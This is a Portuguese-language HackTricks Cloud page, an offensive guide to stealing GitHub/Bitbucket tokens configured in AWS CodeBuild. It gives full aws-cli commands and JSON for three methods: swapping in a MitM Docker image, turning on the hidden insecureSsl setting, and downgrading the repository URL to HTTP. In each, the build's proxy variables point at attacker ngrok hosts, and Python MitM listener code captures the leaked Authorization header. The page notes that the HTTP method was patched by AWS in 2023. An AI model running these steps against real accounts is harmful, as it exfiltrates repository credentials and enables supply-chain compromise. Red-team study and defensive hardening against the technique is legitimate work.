AWS Codebuild - Token Leakage
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Recuperar Tokens Configurados do Github/Bitbucket
Primeiro, verifique se há credenciais de origem configuradas que você poderia leak:
aws codebuild list-source-credentials
Via Docker Image
Se você descobrir que a autenticação, por exemplo para o Github, está configurada na conta, você pode exfiltrate esse access (GH token or OAuth token) fazendo o Codebuild usar uma imagem Docker específica para executar o build do projeto.
Para isso você pode criar um novo Codebuild project ou alterar o environment de um já existente para definir a Docker image.
A Docker image que você pode usar é https://github.com/carlospolop/docker-mitm. Esta é uma imagem Docker bem básica que irá definir as env variables https_proxy, http_proxy e SSL_CERT_FILE. Isso permitirá interceptar a maior parte do tráfego do host indicado em https_proxy e http_proxy e confiar no SSL CERT indicado em SSL_CERT_FILE.
- Create & Upload your own Docker MitM image
- Siga as instruções do repo para configurar o IP do seu proxy e definir seu certificado SSL e build the docker image.
- NÃO DEFINA
http_proxypara não interceptar requisições para o metadata endpoint. - Você pode usar
ngrokcomongrok tcp 4444para definir o proxy para o seu host - Depois de construir a Docker image, upload it to a public repo (Dockerhub, ECR…)
- Set the environment
- Crie um novo Codebuild project ou modifique o environment de um existente.
- Configure o projeto para usar a imagem Docker gerada anteriormente
.png)
- Set the MitM proxy in your host
- Como indicado no Github repo você pode usar algo como:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
A versão do mitmproxy usada foi 9.0.1, foi relatado que com a versão 10 isso pode não funcionar.
- Execute o build & capture as credenciais
- Você pode ver o token no cabeçalho Authorization:
.png)
Isso também pode ser feito usando o aws cli com algo como
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Projetos Codebuild têm uma configuração chamada insecureSsl que é oculta na interface web; você só pode alterá-la pela API.
Habilitar isso permite que o Codebuild se conecte ao repositório sem verificar o certificado oferecido pela plataforma.
- Primeiro você precisa enumerar a configuração atual com algo como:
aws codebuild batch-get-projects --name <proj-name>
- Em seguida, com as informações coletadas você pode atualizar a configuração do projeto
insecureSslparaTrue. O seguinte é um exemplo de atualização de um projeto, repare eminsecureSsl=Trueao final (esta é a única coisa que você precisa alterar na configuração obtida). - Além disso, adicione também as variáveis de ambiente http_proxy e https_proxy apontando para seu ngrok tcp, por exemplo:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Então, execute o exemplo básico de https://github.com/synchronizing/mitm na porta indicada pelas variáveis de proxy (http_proxy e https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Finalmente, clique em Build the project, as credentials serão enviadas em texto claro (base64) para a porta mitm:
 (1).png)
Via protocolo HTTP
[!TIP] > Esta vulnerabilidade foi corrigida pela AWS em algum momento na semana de 20 de fev de 2023 (acho que na sexta-feira). Então um atacante não consegue mais explorá-la :)
Um atacante com permissões elevadas sobre um CodeBuild poderia leak o Github/Bitbucket token configurado ou, se as permissões fossem configuradas via OAuth, o token OAuth temporário usado para acessar o código.
- Um atacante poderia adicionar as variáveis de ambiente http_proxy e https_proxy ao projeto CodeBuild apontando para sua máquina (por exemplo
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Depois, altere a URL do repositório github para usar HTTP em vez de HTTPS, por exemplo:
http://github.com/carlospolop-forks/TestActions - Em seguida, execute o exemplo básico de https://github.com/synchronizing/mitm na porta indicada pelas variáveis de proxy (http_proxy e https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Em seguida, clique em Build the project ou inicie a build pela linha de comando:
aws codebuild start-build --project-name <proj-name>
- Por fim, as credenciais serão enviadas em texto claro (base64) para a porta mitm:
.png)
Warning
Agora um atacante poderá usar o token a partir de sua máquina, listar todos os privilégios que ele possui e (ab)usar mais facilmente do que utilizando o serviço CodeBuild diretamente.
Execução de PR não confiável via misconfiguração do filtro de webhook
Para a cadeia de bypass de webhook acionada por PR (ACTOR_ACCOUNT_ID regex + untrusted PR execution), consulte:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

